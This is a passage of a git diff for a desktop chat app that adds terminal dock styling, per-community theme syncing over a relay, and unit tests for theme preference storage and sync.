+      flex-basis 180ms ease;
+  }
+
+  .buzz-content-primary {
+    transition:
+      flex-grow 180ms ease,
+      flex-basis 180ms ease;
+  }
+
+  .buzz-terminal-dock-host:has([data-terminal-mode="maximized"]) {
+    flex: 1 1 auto;
+  }
+
+  .buzz-content-primary:has(
+    + .buzz-terminal-dock-host [data-terminal-mode="maximized"]
+  ) {
+    flex: 0 1 0%;
+    min-height: 0;
+  }
+
+  .buzz-terminal-substrate {
+    border-top: 1px solid hsl(var(--border));
+    inset: auto;
+    min-height: 180px;
+    opacity: 1;
+    position: relative;
+    transform: translateY(0);
+    transition:
+      height 180ms ease,
+      transform 180ms ease;
+    width: 100%;
+    z-index: 20;
+  }
+
+  .buzz-terminal-substrate[data-terminal-resizing="true"] {
+    transition: none;
+  }
+
+  .buzz-terminal-substrate[data-terminal-visible="false"] {
+    height: 0 !important;
+    min-height: 0;
+    pointer-events: none;
+    transform: translateY(16px);
+  }
+
+  .buzz-terminal-dock-host [data-terminal-mode="maximized"] {
+    flex: 1 1 auto;
+    height: 100%;
+  }
+
+  .buzz-terminal-resize-handle {
+    cursor: ns-resize;
+    height: 5px;
+    left: 0;
+    position: absolute;
+    right: 0;
+    top: -3px;
+    z-index: 2;
+  }
+
+  .buzz-terminal-window-action {
+    align-items: center;
+    background: transparent;
+    border: 0;
+    border-radius: calc(var(--radius) - 2px);
+    color: hsl(var(--muted-foreground));
+    display: inline-flex;
+    height: 30px;
+    justify-content: center;
+    width: 30px;
+  }
+
+  .buzz-terminal-window-action:hover,
+  .buzz-terminal-window-action:focus-visible {
+    background: hsl(var(--foreground) / 0.06);
+    color: hsl(var(--foreground));
+  }
+
+  .buzz-terminal-window-action svg {
+    height: 16px;
+    width: 16px;
+  }
+
+  @media (prefers-reduced-motion: reduce) {
+    .buzz-content-primary,
+    .buzz-terminal-dock-host:has(.buzz-terminal-substrate),
+    .buzz-terminal-substrate {
+      transition: none;
+    }
+  }
+}
diff --git a/desktop/src/shared/styles/globals/theme.css b/desktop/src/shared/styles/globals/theme.css
index 13dc724d21..1cb3c36cf2 100644
--- a/desktop/src/shared/styles/globals/theme.css
+++ b/desktop/src/shared/styles/globals/theme.css
@@ -268,7 +268,8 @@
 }
 
 /* Keep the subtle content-card lift in Buzz Light only. */
-:root[data-buzz-sidebar]:not(.dark) [data-buzz-content-surface] {
+:root[data-buzz-sidebar]:not(.dark)
+  [data-buzz-content-surface]:not([data-buzz-content-unframed]) {
   box-shadow:
     -1px -1px 0 0 hsl(var(--sidebar-border) / 0.45),
     0 0 4px 0 rgb(0 0 0 / 7%);
@@ -295,6 +296,19 @@
   isolation: isolate;
 }
 
+/* The Buzz theme uses a translucent color wash. Back it with an opaque copy
+ * of the same gradient by default so its color remains stable over every app
+ * surface, including a lifted huddle. */
+:root[data-buzz-sidebar] .buzz-theme-gradient-underlay {
+  background-image: linear-gradient(
+    to bottom,
+    var(--buzz-gradient-top),
+    var(--buzz-gradient-bottom)
+  );
+  background-repeat: no-repeat;
+  background-size: 100vw 100vh;
+}
+
 /*
  * Keep both Buzz gradients painted and switch only which layer is visible.
  * WKWebView can retain the old raster when `background-image` is replaced on
@@ -806,3 +820,33 @@
 :root[data-buzz-translucent] .buzz-huddle-app-surface::after {
   background: transparent;
 }
+
+:root[data-buzz-translucent] .buzz-huddle-app-surface-open::after {
+  background: hsl(var(--buzz-huddle-drawer-surface));
+}
+
+/* Keep the Buzz gradient in the lifted app surface. The shell beneath it is
+ * strictly the huddle drawer, so its dark surface is revealed at the rounded
+ * lower corners instead of the theme gradient bleeding through there. */
+:root[data-buzz-sidebar] .buzz-huddle-shell[data-huddle-open="true"] {
+  background-color: hsl(var(--buzz-huddle-drawer-surface));
+  background-image: none;
+}
+
+:root[data-buzz-sidebar][data-buzz-translucent]
+  .buzz-huddle-shell[data-huddle-open="true"] {
+  background-color: hsl(var(--buzz-huddle-drawer-surface));
+  background-image: none;
+}
+
+/* Keep an explicit black base at z-0 while the lifted app surface (and its
+ * two gradient layers) sits above it. This prevents the default gradient
+ * backing from ever replacing the huddle drawer at the exposed corners. */
+:root[data-buzz-sidebar] .buzz-huddle-shell[data-huddle-open="true"]::before {
+  background: hsl(var(--buzz-huddle-drawer-surface));
+  content: "";
+  inset: 0;
+  pointer-events: none;
+  position: absolute;
+  z-index: 0;
+}
diff --git a/desktop/src/shared/theme/CommunityThemeController.tsx b/desktop/src/shared/theme/CommunityThemeController.tsx
new file mode 100644
index 0000000000..518883a47e
--- /dev/null
+++ b/desktop/src/shared/theme/CommunityThemeController.tsx
@@ -0,0 +1,208 @@
+import { useCallback, useEffect, useLayoutEffect, useRef } from "react";
+import { useCommunities } from "@/features/communities/useCommunities";
+import { relayClient } from "@/shared/api/relayClient";
+import { useIdentityQuery } from "@/shared/api/hooks";
+import {
+  DEFAULT_COMMUNITY_THEME,
+  cacheAndApplyCommunityTheme,
+  clearCommunityThemeOutbox,
+  communityThemeApplyExpectation,
+  communityThemePersistenceAction,
+  hasMigratedCommunityTheme,
+  markCommunityThemeMigrated,
+  readCommunityThemeOutbox,
+  readCommunityThemePreference,
+  sameCommunityThemePreference,
+  writeCommunityThemeOutbox,
+  writeCommunityThemePreference,
+  type CommunityThemePreference,
+} from "./communityThemePreference";
+import {
+  CommunityThemeSyncManager,
+  isNewerCommunityThemeCoordinate,
+  shouldSeedCommunityTheme,
+  type RemoteCommunityTheme,
+} from "./communityThemeSync";
+import { useTheme } from "./ThemeProvider";
+
+export function CommunityThemeController() {
+  const { activeCommunity } = useCommunities();
+  const identity = useIdentityQuery();
+  const theme = useTheme();
+  const pubkey = identity.data?.pubkey;
+  const relayUrl = activeCommunity?.relayUrl;
+  const managerRef = useRef<CommunityThemeSyncManager | null>(null);
+  const scopeRef = useRef("");
+  const expectedAppliedRef = useRef<CommunityThemePreference | null>(null);
+  const scopedPreferenceRef = useRef<CommunityThemePreference | null>(null);
+  const lastRemoteRef = useRef({ createdAt: 0, eventId: "" });
+  const initialPreferenceRef = useRef<CommunityThemePreference>({
+    version: 1,
+    theme: theme.selectedThemeName as CommunityThemePreference["theme"],
+    accent: theme.accentColor,
+    followSystem: theme.followSystem,
+  });
+
+  const currentPreferenceRef = useRef<CommunityThemePreference>({
+    version: 1,
+    theme: theme.selectedThemeName as CommunityThemePreference["theme"],
+    accent: theme.accentColor,
+    followSystem: theme.followSystem,
+  });
+  currentPreferenceRef.current = {
+    version: 1,
+    theme: theme.selectedThemeName as CommunityThemePreference["theme"],
+    accent: theme.accentColor,
+    followSystem: theme.followSystem,
+  };
+
+  const applyPreference = useCallback(
+    (preference: CommunityThemePreference) => {
+      expectedAppliedRef.current = communityThemeApplyExpectation(
+        preference,
+        currentPreferenceRef.current,
+      );
+      theme.applyAppearance(preference);
+    },
+    [theme.applyAppearance],
+  );
+
+  useLayoutEffect(() => {
+    if (!pubkey || !relayUrl) return;
+    const local = readCommunityThemePreference(pubkey, relayUrl);
+    const dirty = readCommunityThemeOutbox(pubkey, relayUrl);
+    // Preserve the user's existing global appearance the first time this
+    // feature sees their current community. Later missing/malformed target
+    // records use the stable default so the previous community never leaks.
+    const fallback = hasMigratedCommunityTheme(pubkey)
+      ? DEFAULT_COMMUNITY_THEME
+      : initialPreferenceRef.current;
+    const scopedPreference = dirty ?? local ?? fallback;
+    scopedPreferenceRef.current = scopedPreference;
+    applyPreference(scopedPreference);
+  }, [pubkey, relayUrl, applyPreference]);
+
+  useEffect(() => {
+    if (!pubkey || !relayUrl) return;
+    const scope = `${pubkey}:${relayUrl}`;
+    scopeRef.current = scope;
+    lastRemoteRef.current = { createdAt: 0, eventId: "" };
+    const manager = new CommunityThemeSyncManager(pubkey, (published) => {
+      const last = lastRemoteRef.current;
+      if (isNewerCommunityThemeCoordinate(published, last)) {
+        lastRemoteRef.current = {
+          createdAt: published.createdAt,
+          eventId: published.eventId,
+        };
+      }
+      clearCommunityThemeOutbox(pubkey, relayUrl, published.preference);
+    });
+    managerRef.current = manager;
+    const durablePending = readCommunityThemeOutbox(pubkey, relayUrl);
+    if (durablePending) manager.publish(durablePending);
+
+    const applyRemote = (remote: RemoteCommunityTheme) => {
+      if (scopeRef.current !== scope) return;
+      const last = lastRemoteRef.current;
+      if (!isNewerCommunityThemeCoordinate(remote, last)) {
+        return;
+      }
+      lastRemoteRef.current = {
+        createdAt: remote.createdAt,
+        eventId: remote.eventId,
+      };
+      manager.acceptRemote(remote);
+      const dirty = readCommunityThemeOutbox(pubkey, relayUrl);
+      if (dirty) {
+        manager.publish(dirty);
+        return;
+      }
+      scopedPreferenceRef.current = remote.preference;
+      manager.cancelPendingPublish();
+      cacheAndApplyCommunityTheme(
+        pubkey,
+        relayUrl,
+        remote.preference,
+        applyPreference,
+      );
+    };
+
+    void manager.fetchRemote().then((result) => {
+      if (scopeRef.current !== scope) return;
+      if (result.status === "valid") {
+        applyRemote(result.remote);
+        markCommunityThemeMigrated(pubkey);
+      } else if (shouldSeedCommunityTheme(result)) {
+        const local =
+          readCommunityThemeOutbox(pubkey, relayUrl) ??
+          readCommunityThemePreference(pubkey, relayUrl) ??
+          scopedPreferenceRef.current ??
+          DEFAULT_COMMUNITY_THEME;
+        writeCommunityThemePreference(pubkey, relayUrl, local);
+        writeCommunityThemeOutbox(pubkey, relayUrl, local);
+        markCommunityThemeMigrated(pubkey);
+        manager.publish(local);
+      }
+      // Invalid/future or unavailable records use the already-applied local
+      // fallback without publishing over relay state we cannot safely read.
+    });
+
+    let unsubscribe: (() => Promise<void>) | null = null;
+    void manager.subscribe(applyRemote).then((dispose) => {
+      if (scopeRef.current !== scope) void dispose();
+      else unsubscribe = dispose;
+    });
+    const unsubscribeReconnect = relayClient.subscribeToReconnects(() => {
+      void manager.fetchRemote().then((result) => {
+        if (result.status === "valid") {
+          applyRemote(result.remote);
+          return;
+        }
+        if (result.status !== "absent") return;
+        const pending = readCommunityThemeOutbox(pubkey, relayUrl);
+        if (pending) manager.publish(pending);
+      });
+    });
+
+    return () => {
+      if (scopeRef.current === scope) scopeRef.current = "";
+      manager.destroy();
+      if (managerRef.current === manager) managerRef.current = null;
+      unsubscribeReconnect();
+      if (unsubscribe) void unsubscribe();
+    };
+  }, [pubkey, relayUrl, applyPreference]);
+
+  useEffect(() => {
+    if (!pubkey || !relayUrl) return;
+    const preference: CommunityThemePreference = {
+      version: 1,
+      theme: theme.selectedThemeName as CommunityThemePreference["theme"],
+      accent: theme.accentColor,
+      followSystem: theme.followSystem,
+    };
+    const persistenceAction = communityThemePersistenceAction(
+      expectedAppliedRef.current,
+      preference,
+    );
+    if (persistenceAction === "defer") return;
+    if (persistenceAction === "acknowledge") {
+      expectedAppliedRef.current = null;
+      return;
+    }
+    const stored = readCommunityThemePreference(pubkey, relayUrl);
+    if (stored && sameCommunityThemePreference(stored, preference)) return;
+    scopedPreferenceRef.current = preference;
+    if (!writeCommunityThemePreference(pubkey, relayUrl, preference)) return;
+    if (!writeCommunityThemeOutbox(pubkey, relayUrl, preference)) return;
+    managerRef.current?.publish(preference);
+  }, [
+    pubkey,
+    relayUrl,
+    theme.selectedThemeName,
+    theme.accentColor,
+    theme.followSystem,
+  ]);
+
+  return null;
+}
diff --git a/desktop/src/shared/theme/ThemeProvider.tsx b/desktop/src/shared/theme/ThemeProvider.tsx
index d656815091..4596694345 100644
--- a/desktop/src/shared/theme/ThemeProvider.tsx
+++ b/desktop/src/shared/theme/ThemeProvider.tsx
@@ -15,6 +15,7 @@ import { createThemeVars, hexToHsl } from "./adaptive-theme";
 import {
   SYNTAX_THEMES,
   type SyntaxThemeName,
+  type ThemeInfo,
   extractThemeInfo,
   getThemePair,
   loadThemeData,
@@ -55,9 +56,15 @@ type ThemeContextValue = {
   accentColor: string;
   followSystem: boolean;
   hasPair: boolean;
+  terminalPalette: ThemeInfo["terminalPalette"] | null;
   setTheme: (name: string) => void;
   setAccentColor: (color: string) => void;
   setFollowSystem: (enabled: boolean) => void;
+  applyAppearance: (appearance: {
+    theme: SyntaxThemeName;
+    accent: string;
+    followSystem: boolean;
+  }) => void;
 };
 
 type ThemeProviderProps = {
@@ -426,9 +433,10 @@ function applyCachedVars(): string | null {
 let themeApplyRequest = 0;
 
 /** Apply a theme: load data, derive CSS vars, set them on :root. */
-async function applyTheme(
-  name: SyntaxThemeName,
-): Promise<{ isDark: boolean } | null> {
+async function applyTheme(name: SyntaxThemeName): Promise<{
+  isDark: boolean;
+  terminalPalette: ThemeInfo["terminalPalette"];
+} | null> {
   const requestToken = ++themeApplyRequest;
   const themeData = await loadThemeData(name);
   if (requestToken !== themeApplyRequest) return null;
@@ -477,7 +485,7 @@ async function applyTheme(
     // Storage full — non-critical
   }
 
-  return { isDark };
+  return { isDark, terminalPalette: info.terminalPalette };
 }
 
 export function ThemeProvider({
@@ -493,6 +501,9 @@ export function ThemeProvider({
     return document.documentElement.classList.contains("dark");
   });
   const [isLoading, setIsLoading] = useState(true);
+  const [terminalPalette, setTerminalPalette] = useState<
+    ThemeInfo["terminalPalette"] | null
+  >(null);
   const loadingRef = useRef<string | null>(null);
   const [accentColor, setAccentColorState] = useState<string>(() => {
     return window.localStorage.getItem(ACCENT_STORAGE_KEY) ?? DEFAULT_ACCENT;
@@ -535,6 +546,7 @@ export function ThemeProvider({
       // separate re-application here — that avoided the switch-time flicker.
       if (loadingRef.current === thisTheme) {
         setIsDark(result.isDark);
+        setTerminalPalette(result.terminalPalette);
         setIsLoading(false);
       }
     });
@@ -611,6 +623,31 @@ export function ThemeProvider({
     setFollowSystemState(enabled);
   }, []);
 
+  const applyAppearance = useCallback(
+    (appearance: {
+      theme: SyntaxThemeName;
+      accent: string;
+      followSystem: boolean;
+    }) => {
+      // Write the complete preference before updating state so applyTheme reads
+      // the target community's accent in the same batch, never the previous one.
+      try {
+        window.localStorage.setItem(THEME_STORAGE_KEY, appearance.theme);
+        window.localStorage.setItem(ACCENT_STORAGE_KEY, appearance.accent);
+        window.localStorage.setItem(
+          FOLLOW_SYSTEM_KEY,
+          appearance.followSystem ? "true" : "false",
+        );
+      } catch {
+        // Keep the active appearance responsive even if the local cache is full.
+      }
+      setSelectedTheme(appearance.theme);
+      setAccentColorState(appearance.accent);
+      setFollowSystemState(appearance.followSystem);
+    },
+    [],
+  );
+
   const value: ThemeContextValue = {
     themeName: effectiveTheme,
     selectedThemeName: selectedTheme,
@@ -619,9 +656,11 @@ export function ThemeProvider({
     accentColor,
     followSystem,
     hasPair,
+    terminalPalette,
     setTheme,
     setAccentColor,
     setFollowSystem,
+    applyAppearance,
   };
 
   return (
diff --git a/desktop/src/shared/theme/communityThemePreference.test.mjs b/desktop/src/shared/theme/communityThemePreference.test.mjs
new file mode 100644
index 0000000000..4764de06f7
--- /dev/null
+++ b/desktop/src/shared/theme/communityThemePreference.test.mjs
@@ -0,0 +1,183 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+import {
+  DEFAULT_COMMUNITY_THEME,
+  cacheAndApplyCommunityTheme,
+  clearCommunityThemeOutbox,
+  communityThemeApplyExpectation,
+  communityThemeOutboxKey,
+  communityThemePersistenceAction,
+  communityThemeStorageKey,
+  parseCommunityThemePreference,
+  readCommunityThemeOutbox,
+  readCommunityThemePreference,
+  writeCommunityThemeOutbox,
+  writeCommunityThemePreference,
+} from "./communityThemePreference.ts";
+
+function localStorageStub() {
+  const data = new Map();
+  return {
+    getItem: (key) => data.get(key) ?? null,
+    setItem: (key, value) => data.set(key, String(value)),
+    removeItem: (key) => data.delete(key),
+  };
+}
+
+test("parses only the versioned stable appearance contract", () => {
+  const valid = {
+    version: 1,
+    theme: "houston",
+    accent: "#a855f7",
+    followSystem: false,
+  };
+  assert.deepEqual(parseCommunityThemePreference(valid), valid);
+  assert.equal(parseCommunityThemePreference({ ...valid, version: 2 }), null);
+  assert.equal(
+    parseCommunityThemePreference({ ...valid, theme: "future-theme" }),
+    null,
+  );
+  assert.equal(
+    parseCommunityThemePreference({ ...valid, accent: "url(image)" }),
+    null,
+  );
+  assert.equal(
+    parseCommunityThemePreference({ ...valid, followSystem: "false" }),
+    null,
+  );
+});
+
+test("local preferences are isolated by pubkey and normalized relay", () => {
+  globalThis.window = { localStorage: localStorageStub() };
+  const aliceA = {
+    ...DEFAULT_COMMUNITY_THEME,
+    theme: "houston",
+    followSystem: false,
+  };
+  const aliceB = { ...DEFAULT_COMMUNITY_THEME, theme: "catppuccin-latte" };
+  const bobA = { ...DEFAULT_COMMUNITY_THEME, accent: "#ef4444" };
+  assert.equal(
+    writeCommunityThemePreference("alice", "WSS://A.EXAMPLE/", aliceA),
+    true,
+  );
+  assert.equal(
+    writeCommunityThemePreference("alice", "wss://b.example", aliceB),
+    true,
+  );
+  assert.equal(
+    writeCommunityThemePreference("bob", "wss://a.example", bobA),
+    true,
+  );
+  assert.deepEqual(
+    readCommunityThemePreference("alice", "wss://a.example"),
+    aliceA,
+  );
+  assert.deepEqual(
+    readCommunityThemePreference("alice", "wss://b.example/"),
+    aliceB,
+  );
+  assert.deepEqual(
+    readCommunityThemePreference("bob", "wss://a.example"),
+    bobA,
+  );
+  assert.notEqual(
+    communityThemeStorageKey("alice", "wss://a.example"),
+    communityThemeStorageKey("alice", "wss://b.example"),
+  );
+});
+
+test("dirty outbox survives restart and clears only its exact revision", () => {
+  globalThis.window = { localStorage: localStorageStub() };
+  const first = { ...DEFAULT_COMMUNITY_THEME, theme: "houston" };
+  const second = { ...DEFAULT_COMMUNITY_THEME, accent: "#ef4444" };
+
+  assert.equal(
+    writeCommunityThemeOutbox("alice", "WSS://A.EXAMPLE/", first),
+    true,
+  );
+  assert.deepEqual(readCommunityThemeOutbox("alice", "wss://a.example"), first);
+  writeCommunityThemeOutbox("alice", "wss://a.example", second);
+  clearCommunityThemeOutbox("alice", "wss://a.example", first);
+  assert.deepEqual(
+    readCommunityThemeOutbox("alice", "wss://a.example"),
+    second,
+  );
+  clearCommunityThemeOutbox("alice", "wss://a.example", second);
+  assert.equal(readCommunityThemeOutbox("alice", "wss://a.example"), null);
+  assert.notEqual(
+    communityThemeOutboxKey("alice", "wss://a.example"),
+    communityThemeStorageKey("alice", "wss://a.example"),
+  );
+});
+
+test("malformed local data returns null so switching can apply the safe default", () => {
+  globalThis.window = { localStorage: localStorageStub() };
+  const key = communityThemeStorageKey("alice", "wss://broken.example");
+  window.localStorage.setItem(
+    key,
+    JSON.stringify({ version: 1, theme: "missing" }),
+  );
+  assert.equal(
+    readCommunityThemePreference("alice", "wss://broken.example"),
+    null,
+  );
+  window.localStorage.setItem(key, "{");
+  assert.equal(
+    readCommunityThemePreference("alice", "wss://broken.example"),
+    null,
+  );
+});
+
+test("remote preference still applies when its local cache write fails", () => {
+  globalThis.window = {
+    localStorage: {
+      getItem: () => null,
+      setItem: () => {
+        throw new Error("quota exceeded");
+      },
+    },
+  };
+  let applied = null;
+  cacheAndApplyCommunityTheme(
+    "alice",
+    "wss://a.example",
+    DEFAULT_COMMUNITY_THEME,
+    (preference) => {
+      applied = preference;
+    },
+  );
+  assert.deepEqual(applied, DEFAULT_COMMUNITY_THEME);
+});
+
+test("already-applied relay state leaves the next user edit publishable", () => {
+  const applied = {
+    ...DEFAULT_COMMUNITY_THEME,
+    theme: "catppuccin-latte",
+    followSystem: false,
+  };
+
+  assert.equal(communityThemeApplyExpectation(applied, applied), null);
+  assert.deepEqual(
+    communityThemeApplyExpectation(applied, DEFAULT_COMMUNITY_THEME),
+    applied,
+  );
+});
+
+test("community switch defers stale outgoing appearance persistence", () => {
+  const outgoing = {
+    ...DEFAULT_COMMUNITY_THEME,
+    theme: "houston",
+    followSystem: false,
+  };
+  const incoming = {
+    ...DEFAULT_COMMUNITY_THEME,
+    theme: "catppuccin-latte",
+  };
+
+  assert.equal(communityThemePersistenceAction(incoming, outgoing), "defer");
+  assert.equal(
+    communityThemePersistenceAction(incoming, incoming),
+    "acknowledge",
+  );
+  assert.equal(communityThemePersistenceAction(null, incoming), "persist");
+});
diff --git a/desktop/src/shared/theme/communityThemePreference.ts b/desktop/src/shared/theme/communityThemePreference.ts
new file mode 100644
index 0000000000..e525c95d49
--- /dev/null
+++ b/desktop/src/shared/theme/communityThemePreference.ts
@@ -0,0 +1,199 @@
+import { normalizeRelayUrl } from "@/features/profile/lib/selfProfileStorage";
+import { ACCENT_COLORS } from "./ThemeProvider";
+import { SYNTAX_THEMES, type SyntaxThemeName } from "./theme-loader";
+
+const STORAGE_KEY_PREFIX = "buzz-community-theme.v1";
+const OUTBOX_KEY_PREFIX = "buzz-community-theme-outbox.v1";
+const MIGRATION_KEY_PREFIX = "buzz-community-theme-migrated.v1";
+
+export type CommunityThemePreference = {
+  version: 1;
+  theme: SyntaxThemeName;
+  accent: string;
+  followSystem: boolean;
+};
+
+export const DEFAULT_COMMUNITY_THEME: CommunityThemePreference = Object.freeze({
+  version: 1,
+  theme: "buzz",
+  accent: "#3b82f6",
+  followSystem: true,
+});
+
+const THEME_NAMES = new Set<string>(SYNTAX_THEMES);
+const ACCENTS = new Set<string>(ACCENT_COLORS.map(({ value }) => value));
+
+export function communityThemeStorageKey(
+  pubkey: string,
+  relayUrl: string,
+): string {
+  return `${STORAGE_KEY_PREFIX}:${pubkey}:${encodeURIComponent(normalizeRelayUrl(relayUrl))}`;
+}
+
+export function communityThemeOutboxKey(
+  pubkey: string,
+  relayUrl: string,
+): string {
+  return `${OUTBOX_KEY_PREFIX}:${pubkey}:${encodeURIComponent(normalizeRelayUrl(relayUrl))}`;
+}
+
+export function parseCommunityThemePreference(
+  value: unknown,
+): CommunityThemePreference | null {
+  if (typeof value !== "object" || value === null || Array.isArray(value)) {
+    return null;
+  }
+  const candidate = value as Record<string, unknown>;
+  if (
+    candidate.version !== 1 ||
+    typeof candidate.theme !== "string" ||
+    !THEME_NAMES.has(candidate.theme) ||
+    typeof candidate.accent !== "string" ||
+    !ACCENTS.has(candidate.accent) ||
+    typeof candidate.followSystem !== "boolean"
+  ) {
+    return null;
+  }
+  return {
+    version: 1,
+    theme: candidate.theme as SyntaxThemeName,
+    accent: candidate.accent,
+    followSystem: candidate.followSystem,
+  };
+}
+
+export function readCommunityThemePreference(
+  pubkey: string,
+  relayUrl: string,
+): CommunityThemePreference | null {
+  try {
+    const raw = window.localStorage.getItem(
+      communityThemeStorageKey(pubkey, relayUrl),
+    );
+    return raw ? parseCommunityThemePreference(JSON.parse(raw)) : null;
+  } catch {
+    return null;
+  }
+}
+
+export function readCommunityThemeOutbox(
+  pubkey: string,
+  relayUrl: string,
+): CommunityThemePreference | null {
+  try {
+    const raw = window.localStorage.getItem(
+      communityThemeOutboxKey(pubkey, relayUrl),
+    );
+    return raw ? parseCommunityThemePreference(JSON.parse(raw)) : null;
+  } catch {
+    return null;
+  }
+}
+
+export function writeCommunityThemeOutbox(
+  pubkey: string,
+  relayUrl: string,
+  preference: CommunityThemePreference,
+): boolean {
+  try {
+    window.localStorage.setItem(
+      communityThemeOutboxKey(pubkey, relayUrl),
+      JSON.stringify(preference),
+    );
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+export function clearCommunityThemeOutbox(
+  pubkey: string,
+  relayUrl: string,
+  acknowledged: CommunityThemePreference,
+): void {
+  const pending = readCommunityThemeOutbox(pubkey, relayUrl);
+  if (!pending || !sameCommunityThemePreference(pending, acknowledged)) return;
+  try {
+    window.localStorage.removeItem(communityThemeOutboxKey(pubkey, relayUrl));
+  } catch {
+    // A later retry can safely publish the same replaceable event again.
+  }
+}
+
+export function hasMigratedCommunityTheme(pubkey: string): boolean {
+  try {
+    return (
+      window.localStorage.getItem(`${MIGRATION_KEY_PREFIX}:${pubkey}`) ===
+      "true"
+    );
+  } catch {
+    return false;
+  }
+}
+
+export function markCommunityThemeMigrated(pubkey: string): void {
+  try {
+    window.localStorage.setItem(`${MIGRATION_KEY_PREFIX}:${pubkey}`, "true");
+  } catch {
+    // The preference itself remains usable in memory when storage is full.
+  }
+}
+
+export function writeCommunityThemePreference(
+  pubkey: string,
+  relayUrl: string,
+  preference: CommunityThemePreference,
+): boolean {
+  try {
+    window.localStorage.setItem(
+      communityThemeStorageKey(pubkey, relayUrl),
+      JSON.stringify(preference),
+    );
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+export function cacheAndApplyCommunityTheme(
+  pubkey: string,
+  relayUrl: string,
+  preference: CommunityThemePreference,
+  apply: (preference: CommunityThemePreference) => void,
+): void {
+  writeCommunityThemePreference(pubkey, relayUrl, preference);
+  apply(preference);
+}
+
+export function sameCommunityThemePreference(
+  left: CommunityThemePreference,
+  right: CommunityThemePreference,
+): boolean {
+  return (
+    left.theme === right.theme &&
+    left.accent === right.accent &&
+    left.followSystem === right.followSystem
+  );
+}
+
+export function communityThemeApplyExpectation(
+  preference: CommunityThemePreference,
+  current: CommunityThemePreference,
+): CommunityThemePreference | null {
+  return sameCommunityThemePreference(preference, current) ? null : preference;
+}
+
+/**
+ * Decide whether the current context value is safe to persist for this scope.
+ * Applying a scoped preference updates the outer ThemeProvider asynchronously,
+ * so renders that still expose the previous scope must be deferred.
+ */
+export function communityThemePersistenceAction(
+  expectedApplied: CommunityThemePreference | null,
+  current: CommunityThemePreference,
+): "persist" | "defer" | "acknowledge" {
+  if (!expectedApplied) return "persist";
+  return sameCommunityThemePreference(expectedApplied, current)
+    ? "acknowledge"
+    : "defer";
+}
diff --git a/desktop/src/shared/theme/communityThemeSync.test.mjs b/desktop/src/shared/theme/communityThemeSync.test.mjs
new file mode 100644
index 0000000000..567319d58d
--- /dev/null
+++ b/desktop/src/shared/theme/communityThemeSync.test.mjs
@@ -0,0 +1,445 @@
+import assert from "node:assert/strict";
+import test, { mock } from "node:test";
+import { relayClient } from "@/shared/api/relayClient";
+import {
+  CommunityThemeSyncManager,
+  isNewerCommunityThemeCoordinate,
+  shouldSeedCommunityTheme,
+} from "./communityThemeSync.ts";
+
+const preference = {
+  version: 1,
+  theme: "houston",
+  accent: "#3b82f6",
+  followSystem: false,
+};
+
+function installFakeTimer() {
+  globalThis.window ??= {};
+  let callback = null;
+  let delay = null;
+  const originalSet = window.setTimeout;
+  const originalClear = window.clearTimeout;
+  window.setTimeout = (fn, requestedDelay) => {
+    callback = fn;
+    delay = requestedDelay;
+    return 1;
+  };
+  window.clearTimeout = () => {
+    callback = null;
+    delay = null;
+  };
+  return {
+    fire: () => {
+      const fn = callback;
+      callback = null;
+      delay = null;
+      fn?.();
+    },
+    pending: () => callback !== null,
+    delay: () => delay,
+    restore: () => {
+      window.setTimeout = originalSet;
+      window.clearTimeout = originalClear;
+    },
+  };
+}
+
+test("destroy cancels a debounced community write before relay teardown", () => {
+  const timer = installFakeTimer();
+  const publishes = [];
+  mock.method(relayClient, "publishEvent", (...args) => {
+    publishes.push(args);
+    return Promise.resolve();
+  });
+  try {
+    const manager = new CommunityThemeSyncManager("alice");
+    manager.publish(preference);
+    assert.equal(timer.pending(), true);
+    manager.destroy();
+    assert.equal(timer.pending(), false);
+    timer.fire();
+    assert.equal(publishes.length, 0);
+  } finally {
+    timer.restore();
+    mock.reset();
+  }
+});
+
+test("destroy is safe without a pending community write", () => {
+  const manager = new CommunityThemeSyncManager("alice");
+  assert.doesNotThrow(() => manager.destroy());
+  assert.equal(manager.getPending(), null);
+});
+
+function relayEvent(overrides = {}) {
+  return {
+    id: "event-id",
+    pubkey: "alice",
+    kind: 30078,
+    content: "not-decryptable",
+    created_at: 123,
+    tags: [["d", "community-theme"]],
+    ...overrides,
+  };
+}
+
+test("fetch distinguishes absent remote state from unreadable existing state", async () => {
+  mock.method(relayClient, "fetchEvents", () => Promise.resolve([]));
+  try {
+    const manager = new CommunityThemeSyncManager("alice");
+    assert.deepEqual(await manager.fetchRemote(), { status: "absent" });
+  } finally {
+    mock.reset();
+  }
+
+  mock.method(relayClient, "fetchEvents", () =>
+    Promise.resolve([relayEvent()]),
+  );
+  try {
+    const manager = new CommunityThemeSyncManager("alice");
+    assert.deepEqual(await manager.fetchRemote(), { status: "invalid" });
+  } finally {
+    mock.reset();
+  }
+});
+
+test("fetch reports relay failures as unavailable rather than absent", async () => {
+  mock.method(relayClient, "fetchEvents", () =>
+    Promise.reject(new Error("offline")),
+  );
+  try {
+    const manager = new CommunityThemeSyncManager("alice");
+    assert.deepEqual(await manager.fetchRemote(), { status: "unavailable" });
+  } finally {
+    mock.reset();
+  }
+});
+
+test("only confirmed absence permits seeding relay state", () => {
+  assert.equal(shouldSeedCommunityTheme({ status: "absent" }), true);
+  assert.equal(shouldSeedCommunityTheme({ status: "invalid" }), false);
+  assert.equal(shouldSeedCommunityTheme({ status: "unavailable" }), false);
+});
+
+test("acknowledged coordinates use relay same-second ordering", () => {
+  const acknowledged = { createdAt: 123, eventId: "published" };
+  assert.equal(
+    isNewerCommunityThemeCoordinate(
+      { createdAt: 123, eventId: "a-winner" },
+      acknowledged,
+    ),
+    true,
+  );
+  assert.equal(
+    isNewerCommunityThemeCoordinate(
+      { createdAt: 123, eventId: "z-loser" },
+      acknowledged,
+    ),
+    false,
+  );
+});
+
+test("new remote invalidates no-op suppression for A to B to A", async () => {
+  const timer = installFakeTimer();
+  const published = [];
+  const acknowledgements = [];
+  let signedEventId = "published-z";
+  globalThis.window.__TAURI_INTERNALS__ = {
+    invoke(command, args) {
+      if (command === "nip44_encrypt_to_self") return Promise.resolve("cipher");
+      if (command === "sign_event") {
+        return Promise.resolve(
+          JSON.stringify(
+            relayEvent({
+              id: signedEventId,
+              content: args.content,
+              created_at: args.createdAt,
+            }),
+          ),
+        );
+      }
+      throw new Error(`unexpected command: ${command}`);
+    },
+  };
+  mock.method(relayClient, "publishEvent", (event) => {
+    published.push(event);
+    return Promise.resolve();
+  });
+  try {
+    const manager = new CommunityThemeSyncManager("alice", (event) => {
